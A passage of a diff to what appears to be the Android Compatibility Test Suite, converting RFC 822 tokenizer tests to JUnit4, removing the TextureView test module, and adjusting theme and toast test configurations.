-        try {
-            Rfc822Token.quoteNameIfNecessary(null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // issue 1695243, not clear what is supposed to happen if name is null.
-        }
-
         assertEquals("", Rfc822Token.quoteNameIfNecessary(""));
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testQuoteNameIfNecessaryNull() {
+        Rfc822Token.quoteNameIfNecessary(null);
+    }
+
+    @Test
     public void testQuoteName() {
         assertEquals("John Doe", Rfc822Token.quoteName("John Doe"));
         assertEquals("\\\"John Doe\\\"", Rfc822Token.quoteName("\"John Doe\""));
         assertEquals("\\\\\\\"John Doe\\\"", Rfc822Token.quoteName("\\\"John Doe\""));
+    }
 
-        try {
-            Rfc822Token.quoteName(null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // issue 1695243, not clear what is supposed to happen if name is null.
-        }
+    @Test(expected=NullPointerException.class)
+    public void testQuoteNameNull() {
+        Rfc822Token.quoteName(null);
     }
 }
diff --git a/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java b/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java
index 4d145f1..c8b81f4 100644
--- a/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java
+++ b/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java
@@ -16,19 +16,32 @@
 
 package android.text.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.util.Rfc822Token;
 import android.text.util.Rfc822Tokenizer;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
 /**
  * Test {@link Rfc822Tokenizer}.
  */
-public class Rfc822TokenizerTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Rfc822TokenizerTest {
+    @Test
     public void testConstructor() {
         new Rfc822Tokenizer();
     }
 
+    @Test
     public void testFindTokenStart() {
         Rfc822Tokenizer rfc822Tokenizer = new Rfc822Tokenizer();
 
@@ -61,6 +74,7 @@
         }
     }
 
+    @Test
     public void testFindTokenEnd() {
         Rfc822Tokenizer rfc822Tokenizer = new Rfc822Tokenizer();
 
@@ -87,15 +101,16 @@
         final int TOKEN_END_POS_4 = text2.indexOf(token4) + token4.length();
         assertEquals(TOKEN_END_POS_2, rfc822Tokenizer.findTokenEnd(text2, 0));
         assertEquals(TOKEN_END_POS_4, rfc822Tokenizer.findTokenEnd(text2, TOKEN_END_POS_2 + 1));
-
-        try {
-            rfc822Tokenizer.findTokenEnd(null, 0);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // issue 1695243, not clear what is supposed to happen if text is null.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testFindTokenEndNull() {
+        Rfc822Tokenizer rfc822Tokenizer = new Rfc822Tokenizer();
+
+        rfc822Tokenizer.findTokenEnd(null, 0);
+    }
+
+    @Test
     public void testTerminateToken() {
         Rfc822Tokenizer rfc822Tokenizer = new Rfc822Tokenizer();
 
@@ -110,28 +125,53 @@
         assertEquals(text + comma + space, rfc822Tokenizer.terminateToken(null));
     }
 
+    @Test
     public void testTokenize() {
         Rfc822Token[] tokens = Rfc822Tokenizer.tokenize("");
         assertEquals(0, tokens.length);
 
-        String text = "\"Berg\" (home) <berg\\@google.com>, tom\\@google.com (work)";
+        String text = "\"Berg\" (home) <berg\\@example.com>, tom\\@example.com (work)";
         tokens = Rfc822Tokenizer.tokenize(text);
         assertEquals(2, tokens.length);
-        localAssertEquals(tokens[0], "Berg", "berg\\@google.com", "home");
-        localAssertEquals(tokens[1], null, "tom\\@google.com", "work");
+        verifyLocalAssertEquals(tokens[0], "Berg", "berg\\@example.com", "home");
+        verifyLocalAssertEquals(tokens[1], null, "tom\\@example.com", "work");
 
-        text = "Foo Bar (something) <foo\\@google.com>, blah\\@google.com (something)";
+        text = "Foo Bar (something) <foo\\@example.com>, blah\\@example.com (something)";
         tokens = Rfc822Tokenizer.tokenize(text);
         assertEquals(2, tokens.length);
-        localAssertEquals(tokens[0], "Foo Bar", "foo\\@google.com", "something");
-        localAssertEquals(tokens[1], null, "blah\\@google.com", "something");
+        verifyLocalAssertEquals(tokens[0], "Foo Bar", "foo\\@example.com", "something");
+        verifyLocalAssertEquals(tokens[1], null, "blah\\@example.com", "something");
+    }
 
-        try {
-            Rfc822Tokenizer.tokenize(null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // issue 1695243, not clear what is supposed result if text is null
-        }
+    @Test(expected=NullPointerException.class)
+    public void testTokenizeNull() {
+        Rfc822Tokenizer.tokenize(null);
+    }
+
+    @Test
+    public void testTokenize_withListParam() {
+        final List<Rfc822Token> list = new ArrayList<>();
+        Rfc822Tokenizer.tokenize("", list);
+        assertEquals(0, list.size());
+
+        String text = "\"Berg\" (home) <berg\\@example.com>, tom\\@example.com (work)";
+        Rfc822Tokenizer.tokenize(text, list);
+        assertEquals(2, list.size());
+        verifyLocalAssertEquals(list.get(0), "Berg", "berg\\@example.com", "home");
+        verifyLocalAssertEquals(list.get(1), null, "tom\\@example.com", "work");
+
+        text = "Foo Bar (something) <foo\\@example.com>, blah\\@example.com (something)";
+        list.clear();
+        Rfc822Tokenizer.tokenize(text, list);
+        assertEquals(2, list.size());
+        verifyLocalAssertEquals(list.get(0), "Foo Bar", "foo\\@example.com", "something");
+        verifyLocalAssertEquals(list.get(1), null, "blah\\@example.com", "something");
+    }
+
+
+    @Test(expected=NullPointerException.class)
+    public void testTokenize_withListParamNull() {
+        Rfc822Tokenizer.tokenize(null);
     }
 
     /**
@@ -141,7 +181,7 @@
      * @param address expected address.
      * @param comment expected comment.
      */
-    private void localAssertEquals(Rfc822Token token, String name,
+    private void verifyLocalAssertEquals(Rfc822Token token, String name,
             String address, String comment) {
         assertEquals(name, token.getName());
         assertEquals(address, token.getAddress());
diff --git a/tests/tests/textureview/Android.mk b/tests/tests/textureview/Android.mk
deleted file mode 100644
index a97ff64..0000000
--- a/tests/tests/textureview/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsTextureViewTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/textureview/AndroidManifest.xml b/tests/tests/textureview/AndroidManifest.xml
deleted file mode 100644
index 6832059..0000000
--- a/tests/tests/textureview/AndroidManifest.xml
+++ /dev/null
@@ -1,54 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.textureview.cts">
-
-    <uses-feature android:glEsVersion="0x00020000" android:required="true" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.GET_TASKS" />
-    <uses-permission android:name="android.permission.REORDER_TASKS" />
-    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
-
-    <instrumentation
-        android:targetPackage="android.textureview.cts"
-        android:name="android.support.test.runner.AndroidJUnitRunner" >
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-    <application
-        android:label="@string/app_name"
-        android:hardwareAccelerated="true">
-        <activity
-            android:name="android.textureview.cts.TextureViewTestActivity"
-            android:label="@string/app_name" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-        <activity
-            android:name="android.textureview.cts.TextureViewSnapshotTestActivity"
-            android:label="@string/app_name" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-</manifest>
diff --git a/tests/tests/textureview/AndroidTest.xml b/tests/tests/textureview/AndroidTest.xml
deleted file mode 100644
index d60a4a3..0000000
--- a/tests/tests/textureview/AndroidTest.xml
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS TextureView test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsTextureViewTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.textureview.cts" />
-    </test>
-</configuration>
\ No newline at end of file
diff --git a/tests/tests/textureview/res/values/strings.xml b/tests/tests/textureview/res/values/strings.xml
deleted file mode 100644
index f4d9f96..0000000
--- a/tests/tests/textureview/res/values/strings.xml
+++ /dev/null
@@ -1,18 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<resources>
-    <string name="app_name">TextureViewTest</string>
-</resources>
diff --git a/tests/tests/textureview/src/android/textureview/cts/GLProducerThread.java b/tests/tests/textureview/src/android/textureview/cts/GLProducerThread.java
deleted file mode 100644
index 53f267a..0000000
--- a/tests/tests/textureview/src/android/textureview/cts/GLProducerThread.java
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.textureview.cts;
-
-import android.graphics.SurfaceTexture;
-import android.opengl.GLUtils;
-
-import java.lang.Thread;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.Semaphore;
-
-import junit.framework.Assert;
-
-import javax.microedition.khronos.egl.EGL10;
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.egl.EGLContext;
-import javax.microedition.khronos.egl.EGLDisplay;
-import javax.microedition.khronos.egl.EGLSurface;
-import javax.microedition.khronos.opengles.GL;
-
-import static android.opengl.GLES20.*;
-
-public class GLProducerThread extends Thread {
-    private Thread mProducerThread;
-    private final int mFrames;
-    private final int mDelayMs;
-    private final Semaphore mSemaphore;
-    private final SurfaceTexture mSurfaceTexture;
-    private final AtomicBoolean mShouldRender;
-    private final GLRenderer mRenderer;
-
-    private EGL10 mEgl;
-    private EGLDisplay mEglDisplay = EGL10.EGL_NO_DISPLAY;
-    private EGLContext mEglContext = EGL10.EGL_NO_CONTEXT;
-    private EGLSurface mEglSurface = EGL10.EGL_NO_SURFACE;
-    private GL mGl;
-
-    private static final int EGL_CONTEXT_CLIENT_VERSION = 0x3098;
-    private static final int EGL_OPENGL_ES2_BIT = 4;
-
-    public interface GLRenderer {
-        public void drawFrame(int frame);
-    }
-
-    GLProducerThread(SurfaceTexture surfaceTexture, GLRenderer renderer, AtomicBoolean shouldRender,
-            int frames, int delayMs, Semaphore semaphore) {
-        mShouldRender = shouldRender;
-        mFrames = frames;
-        mDelayMs = delayMs;
-        mSemaphore = semaphore;
-        mSurfaceTexture = surfaceTexture;
-        mRenderer = renderer;
-    }
-
-    GLProducerThread(SurfaceTexture surfaceTexture, GLRenderer renderer, int frames, int delayMs,
-            Semaphore semaphore) {
-        this(surfaceTexture, renderer, null, frames, delayMs, semaphore);
-    }
-
-    GLProducerThread(SurfaceTexture surfaceTexture, GLRenderer renderer, AtomicBoolean shouldRender,
-            int delayMs, Semaphore semaphore) {
-        this(surfaceTexture, renderer, shouldRender, 0, delayMs, semaphore);
-    }
-
-    private void initGL() {
-        mEgl = (EGL10) EGLContext.getEGL();
-
-        mEglDisplay = mEgl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
-        if (mEglDisplay == EGL10.EGL_NO_DISPLAY) {
-            throw new RuntimeException("eglGetDisplay() failed "
-                                       + GLUtils.getEGLErrorString(mEgl.eglGetError()));
-        }
-
-        int[] version = new int[2];
-        if (!mEgl.eglInitialize(mEglDisplay, version)) {
-            throw new RuntimeException("eglInitialize() failed " +
-                                       GLUtils.getEGLErrorString(mEgl.eglGetError()));
-        }
-
-        int[] configAttribs = {
-            EGL10.EGL_BUFFER_SIZE, 32,
-            EGL10.EGL_ALPHA_SIZE, 8,
-            EGL10.EGL_BLUE_SIZE, 8,
-            EGL10.EGL_GREEN_SIZE, 8,
-            EGL10.EGL_RED_SIZE, 8,
-            EGL10.EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
-            EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
-            EGL10.EGL_NONE
-        };
-
-        int[] numConfigs = new int[1];
-        EGLConfig[] configs = new EGLConfig[1];
-        if (!mEgl.eglChooseConfig(mEglDisplay, configAttribs, configs, 1, numConfigs) || numConfigs[0] == 0) {
-            throw new RuntimeException("eglChooseConfig() failed");
-        }
-
-        int[] contextAttribs = {
-            EGL_CONTEXT_CLIENT_VERSION, 2,
-            EGL10.EGL_NONE };
-
-        mEglContext = mEgl.eglCreateContext(mEglDisplay, configs[0], EGL10.EGL_NO_CONTEXT, contextAttribs);
-
-        mEglSurface = mEgl.eglCreateWindowSurface(mEglDisplay, configs[0], mSurfaceTexture, null);
-
-        if (mEglSurface == null || mEglSurface == EGL10.EGL_NO_SURFACE) {
-            int error = mEgl.eglGetError();
-            if (error == EGL10.EGL_BAD_NATIVE_WINDOW) {
-                throw new RuntimeException("eglCreateWindowSurface() returned EGL_BAD_NATIVE_WINDOW.");
-            }
-            throw new RuntimeException("eglCreateWindowSurface() failed "
-                                       + GLUtils.getEGLErrorString(error));
-        }
-
-        if (!mEgl.eglMakeCurrent(mEglDisplay, mEglSurface, mEglSurface, mEglContext)) {
-            throw new RuntimeException("eglMakeCurrent() failed "
-                                       + GLUtils.getEGLErrorString(mEgl.eglGetError()));
-        }
-
-        mGl = mEglContext.getGL();
-    }
-
-    void destroyGL() {
-        mEgl.eglMakeCurrent(mEglDisplay, EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_CONTEXT);
-        mEgl.eglDestroyContext(mEglDisplay, mEglContext);
-        mEgl.eglDestroySurface(mEglDisplay, mEglSurface);
-        mEglContext = EGL10.EGL_NO_CONTEXT;
-        mEglSurface = EGL10.EGL_NO_SURFACE;
-    }
-
-    @Override
-    public void run() {
-        initGL();
-
-        int frame = 0;
-        while (frame < mFrames || (mShouldRender != null && mShouldRender.get())) {
-            if (mRenderer != null) {
-                mRenderer.drawFrame(frame);
-            }
-            mEgl.eglSwapBuffers(mEglDisplay, mEglSurface);
-            Assert.assertEquals(EGL10.EGL_SUCCESS, mEgl.eglGetError());
-            try {
-                sleep(mDelayMs);
-            } catch (InterruptedException e) {
-            }
-            frame++;
-        }
-
-        mSemaphore.release();
-        destroyGL();
-    }
-}
diff --git a/tests/tests/textureview/src/android/textureview/cts/TextureViewSnapshotTest.java b/tests/tests/textureview/src/android/textureview/cts/TextureViewSnapshotTest.java
deleted file mode 100644
index c056786..0000000
--- a/tests/tests/textureview/src/android/textureview/cts/TextureViewSnapshotTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/** Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.textureview.cts;
-
-import android.test.ActivityInstrumentationTestCase2;
-
-public class TextureViewSnapshotTest extends
-        ActivityInstrumentationTestCase2<TextureViewSnapshotTestActivity> {
-
-    public TextureViewSnapshotTest() {
-        super(TextureViewSnapshotTestActivity.class);
-    }
-
-    public void testTextureViewGrabSnapshot() {
-        TextureViewSnapshotTestActivity.mMaxWaitDelayMs = 1500;
-        if (!getActivity().waitForCompletion())
-            fail("Did not complete complete test.");
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/textureview/src/android/textureview/cts/TextureViewSnapshotTestActivity.java b/tests/tests/textureview/src/android/textureview/cts/TextureViewSnapshotTestActivity.java
deleted file mode 100644
index 2c3118d..0000000
--- a/tests/tests/textureview/src/android/textureview/cts/TextureViewSnapshotTestActivity.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.textureview.cts;
-
-import android.app.Activity;
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.graphics.SurfaceTexture;
-import android.os.Bundle;
-import android.view.TextureView;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-import junit.framework.Assert;
-
-import static android.opengl.GLES20.*;
-
-public class TextureViewSnapshotTestActivity extends Activity
-        implements TextureView.SurfaceTextureListener {
-    public static int mMaxWaitDelayMs = -1;
-
-    private TextureView mTexView;
-    private Thread mProducerThread;
-    private final Semaphore mSemaphore = new Semaphore(0);
-    private final AtomicBoolean mShouldRender = new AtomicBoolean(true);
-    private boolean mPostedSnapshotGrab = false;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Assert.assertTrue(mMaxWaitDelayMs > 0);
-        mTexView = new TextureView(this);
-        mTexView.setSurfaceTextureListener(this);
-        setContentView(mTexView);
-    }
-
-    public Boolean waitForCompletion() {
-        Boolean success = false;
-        try {
-            success = mSemaphore.tryAcquire(mMaxWaitDelayMs, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            Assert.fail();
-        }
-        return success;
-    }
-
-    @Override
-    public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
-        mProducerThread = new GLProducerThread(surface, new GLRendererImpl(),
-                mShouldRender, 1000/48, mSemaphore);
-        mProducerThread.start();
-    }
-
-    @Override
-    public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
-    }
-
-    @Override
-    public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
-        mProducerThread = null;
-        return true;
-    }
-
-    @Override
-    public void onSurfaceTextureUpdated(SurfaceTexture surface) {
-        if (!mPostedSnapshotGrab) {
-            Bitmap bitmap = mTexView.getBitmap();
-            Assert.assertNotNull(bitmap);
-            Assert.assertEquals(mTexView.getWidth(), bitmap.getWidth());
-            Assert.assertEquals(mTexView.getHeight(), bitmap.getHeight());
-            Assert.assertEquals(Color.RED, bitmap.getPixel(0, 0));
-            mShouldRender.set(false);
-            mPostedSnapshotGrab = true;
-        }
-    }
-
-    private static class GLRendererImpl implements GLProducerThread.GLRenderer {
-        @Override
-        public void drawFrame(int frame) {
-            glClearColor(1.0f, 0.0f, 0.0f, 1.0f);
-            glClear(GL_COLOR_BUFFER_BIT);
-        }
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/textureview/src/android/textureview/cts/TextureViewTest.java b/tests/tests/textureview/src/android/textureview/cts/TextureViewTest.java
deleted file mode 100644
index ee5ab71..0000000
--- a/tests/tests/textureview/src/android/textureview/cts/TextureViewTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.textureview.cts;
-
-import android.test.ActivityInstrumentationTestCase2;
-
-public class TextureViewTest extends
-        ActivityInstrumentationTestCase2<TextureViewTestActivity> {
-
-    public TextureViewTest() {
-        super(TextureViewTestActivity.class);
-    }
-
-    public void testTextureViewStress48Hz() {
-        TextureViewTestActivity.mFrames = 600;
-        TextureViewTestActivity.mDelayMs = 1000/48;
-        if (!getActivity().waitForCompletion())
-            fail("Did not complete 48Hz test.");
-    }
-
-    public void testTextureViewStress60Hz() {
-        TextureViewTestActivity.mFrames = 600;
-        TextureViewTestActivity.mDelayMs = 1000/60;
-        if (!getActivity().waitForCompletion())
-            fail("Did not complete 60Hz test.");
-    }
-
-    public void testTextureViewStress70Hz()  {
-        TextureViewTestActivity.mFrames = 600;
-        TextureViewTestActivity.mDelayMs = 1000/70;
-        if (!getActivity().waitForCompletion())
-            fail("Did not complete 70Hz test.");
-    }
-
-    public void testTextureViewStress200Hz() {
-        TextureViewTestActivity.mFrames = 600;
-        TextureViewTestActivity.mDelayMs = 1000/200;
-        if (!getActivity().waitForCompletion())
-            fail("Did not complete 200Hz test.");
-    }
-
-}
diff --git a/tests/tests/textureview/src/android/textureview/cts/TextureViewTestActivity.java b/tests/tests/textureview/src/android/textureview/cts/TextureViewTestActivity.java
deleted file mode 100644
index 6567387..0000000
--- a/tests/tests/textureview/src/android/textureview/cts/TextureViewTestActivity.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.textureview.cts;
-
-import android.animation.ObjectAnimator;
-import android.animation.AnimatorSet;
-import android.app.Activity;
-import android.graphics.SurfaceTexture;
-import android.os.Bundle;
-import android.view.Display;
-import android.view.TextureView;
-import android.view.WindowManager;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-import junit.framework.Assert;
-
-import static android.opengl.GLES20.*;
-
-public class TextureViewTestActivity extends Activity implements TextureView.SurfaceTextureListener {
-    public static int mFrames = -1;
-    public static int mDelayMs = -1;
-
-    private TextureView mTexView;
-    private Thread mProducerThread;
-    private final Semaphore mSemaphore = new Semaphore(0);
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Assert.assertTrue(mFrames > 0);
-        Assert.assertTrue(mDelayMs > 0);
-        mTexView = new TextureView(this);
-        mTexView.setSurfaceTextureListener(this);
-        setContentView(mTexView);
-        ObjectAnimator rotate = ObjectAnimator.ofFloat(mTexView, "rotationY", 180);
-        ObjectAnimator fadeIn = ObjectAnimator.ofFloat(mTexView, "alpha", 0.3f, 1f);
-        ObjectAnimator scaleY = ObjectAnimator.ofFloat(mTexView, "scaleY", 0.3f, 1f);
-        AnimatorSet animSet = new AnimatorSet();
-        animSet.play(rotate).with(fadeIn).with(scaleY);
-        animSet.setDuration(mFrames * mDelayMs);
-        animSet.start();
-    }
-
-    private static int addMargin(int a) {
-         /* Worst case is 2 * actual refresh rate, in case when the delay pushes the frame off
-          * VSYNC every frame.
-          */
-         return 2 * a;
-    }
-
-    private static int roundUpFrame(int a, int b) {
-         /* Need to give time based on (frame duration limited by refresh rate + delay given
-          * from the test)
-          */
-         return (a + b + 1);
-    }
-
-
-    public Boolean waitForCompletion() {
-        Boolean success = false;
-        int oneframeMs;
-
-        WindowManager wm = (WindowManager)getSystemService(WINDOW_SERVICE);
-        Display display = wm.getDefaultDisplay();
-        float rate = display.getRefreshRate();
-        oneframeMs = roundUpFrame(mDelayMs, (int)(1000.0f / rate));
-        try {
-            success = mSemaphore.tryAcquire(addMargin(oneframeMs * mFrames),
-                    TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            Assert.fail();
-        }
-        return success;
-    }
-
-    @Override
-    public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
-        mProducerThread = new GLProducerThread(surface, new GLRendererImpl(),
-                mFrames, mDelayMs, mSemaphore);
-        mProducerThread.start();
-    }
-
-    @Override
-    public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
-    }
-
-    @Override
-    public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
-        mProducerThread = null;
-        return true;
-    }
-
-    @Override
-    public void onSurfaceTextureUpdated(SurfaceTexture surface) {
-    }
-
-    public static class GLRendererImpl implements GLProducerThread.GLRenderer {
-        private final int numColors = 4;
-        private final float[][] color =
-            { { 1.0f, 0.0f, 0.0f },
-              { 0.0f, 1.0f, 0.0f },
-              { 0.0f, 0.0f, 1.0f },
-              { 1.0f, 1.0f, 1.0f } };
-
-        @Override
-        public void drawFrame(int frame) {
-            int index = frame % numColors;
-            glClearColor(color[index][0], color[index][1], color[index][2], 1.0f);
-            glClear(GL_COLOR_BUFFER_BIT);
-        }
-    }
-}
diff --git a/tests/tests/theme/Android.mk b/tests/tests/theme/Android.mk
index 4d90e14..0f370d0 100644
--- a/tests/tests/theme/Android.mk
+++ b/tests/tests/theme/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/theme/AndroidTest.xml b/tests/tests/theme/AndroidTest.xml
index 82bd476..39da798 100644
--- a/tests/tests/theme/AndroidTest.xml
+++ b/tests/tests/theme/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Theme test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsThemeDeviceTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.theme.cts" />
+        <option name="runtime-hint" value="11m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/toast/AndroidTest.xml b/tests/tests/toast/AndroidTest.xml
index d0a5eed..5a210a7 100644
--- a/tests/tests/toast/AndroidTest.xml
+++ b/tests/tests/toast/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for Toast test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
